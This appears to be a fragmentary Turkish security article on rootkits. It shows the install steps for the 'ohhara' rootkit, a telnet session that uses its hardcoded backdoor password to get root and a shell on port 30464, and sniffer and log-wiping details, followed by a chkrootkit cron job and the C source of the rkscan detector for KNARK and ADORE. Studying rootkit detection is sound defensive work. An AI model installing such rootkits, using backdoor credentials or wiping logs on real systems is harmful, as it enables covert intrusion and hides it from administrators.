URL: http://www.olympos.org/article/articleprint/186/-1/10/gorunmez_misafirler_rootkit |
Görünmez Misafirler: RootKit |
Ana sayfa
Kütüphane
Dokümanlar
|
|
cd bin/glibc2.1 ./install-ohhara-rootkit vi /etc/inetd.conf dosyası düzenlenerek in.telnetd kısmı telnetd olarak değiştirilir) killall -HUP inetd |
cd bin/glibc2.1 ./uninstall-ohhara-rootkit vi /etc/inetd.conf dosyası düzenlenerek telnetd kısmı in.telnetd olarak değiştirilir) killall -HUP inetd vi /etc/rc.d/rc.local dosyasında in.inetd ve in.smbd kısmı silinir) |
$ telnet rootkit_kurulmus_sistem.com Trying xxx.xxx.xxx.xxx... Connected to rootkit_kurulmus_sistem.com Escape character is '^]'. login: bin Password: ( gkfkqo79 ) bash$ whoami bin bash$ su root Password: ( gkfkqo79 ) bash# whoami root bash# ---------- Linux sniffer ---> /usr/sbin/in.smbd Linux sniffer logları ---> /var/lock/subsys/...datafile.../...datafile.../in.smbd.log Shell Port:30464 /usr/sbin/in.inetd ( password 'gkfkqo79' dur ) ---------- $ telnet rootkit_kurulmus_sistem.com 30464 Trying xxx.xxx.xxx.xxx... Connected to rootkit_kurulmus_sistem.com Escape character is '^]'. gkfkqo79 whoami; root ---------- Log silinmesi ( zap2 ) /usr/sbin/fixdate |
0 3 * * * (cd /dizin/chkrootkit; ./chkrootkit 2>&1 | mail -s "chkrootkit output" root) |
/** rkscan.c (C) 2000 by Stephane Aubert
** <Stephane.Aubert at hsc.fr>
**
** Rootkit Scanner for:
** . KNARK version 0.59
** (kernel-based rootkit)
** knarf was written by Creed <creed at sekure.net>
** and can be found on packetstrom.securify.com
**
** . ADORE version : 0.14, 0.24 and 2.0b
** (kernel-based rootkit)
** Adore was written by Stealth
** and can be found on http://spider.scorpions.net/~stealth/
**/
#include <sys/types.h>
#include <values.h>
#include <unistd.h>
#include <stdio.h>
#include <time.h>
// Use MAXINT for a fullscan
#define UPSCAN 65535
int knark_scan( void ) {
int command;
printf(" Scanning for KNARK version 0.59 ...n");
for( command=UPSCAN; command>=0; command-- ) {
if(settimeofday((struct timeval *)command,
(struct timezone *)NULL) == 0) {
printf(" #KNARK rootkit is running (settimeofday command=%d) !nn",
command );
return 1;
}
}
printf(" KNARK rootkit NOT DETECTED on this system.nn");
return 0;
}
int adore_scan( void ) {
int version;
uid_t uid;
printf(" Scanning for ADORE version 0.14, 0.24 and 2.0b ...n");
// for all possible UIDs
for( uid=UPSCAN; uid>=2; uid-- ) {
if( getpwuid(uid) == NULL ) { // if UID is not in /etc/passwd
if( (version=setuid( uid )) >0 ) {
printf(" #ADORE rootkit is running with ELITE_CMD=%d !nn", uid-2 );
return 1;
}
}
}
printf(" ADORE rootkit NOT DETECTED on this system.nn");
return 0;
}
int main( int argc, char *argv[] ) {
int retval=0;
printf("-=- Rootkit Scanner -=-n"
"-=- by<mail to="Stephane.Aubert@hsc.fr" subject="" text="Stephane.Aubert@hsc.fr" />-=-nn");
if( getuid()==0 ) {
printf(" *** Don't run this scanner as root ! ***nn");
exit( 0 );
}
retval += adore_scan();
retval += knark_scan();
printf("Done.n");
exit( retval );
}
|
[root@CiLeK RootKit]# gcc -o rks rkscan1.0.c rkscan1.0.c: In function `adore_scan': rkscan1.0.c:46: warning: comparison between pointer and integer [root@avicenna RootKit]#./rks -=- Rootkit Scanner -=- -=- by<mail to="Stephane.Aubert@hsc.fr" subject="" text="Stephane.Aubert@hsc.fr" />-=- *** Don't run this scanner as root ! *** [root@avicenna RootKit]# [avicenna@avicenna RootKit]$ ./rks -=- Rootkit Scanner -=- -=- by<mail to="Stephane.Aubert@hsc.fr" subject="" text="Stephane.Aubert@hsc.fr" />-=- Scanning for ADORE version 0.14, 0.24 and 2.0b ... ADORE rootkit NOT DETECTED on this system. Scanning for KNARK version 0.59 ... KNARK rootkit NOT DETECTED on this system. Done. |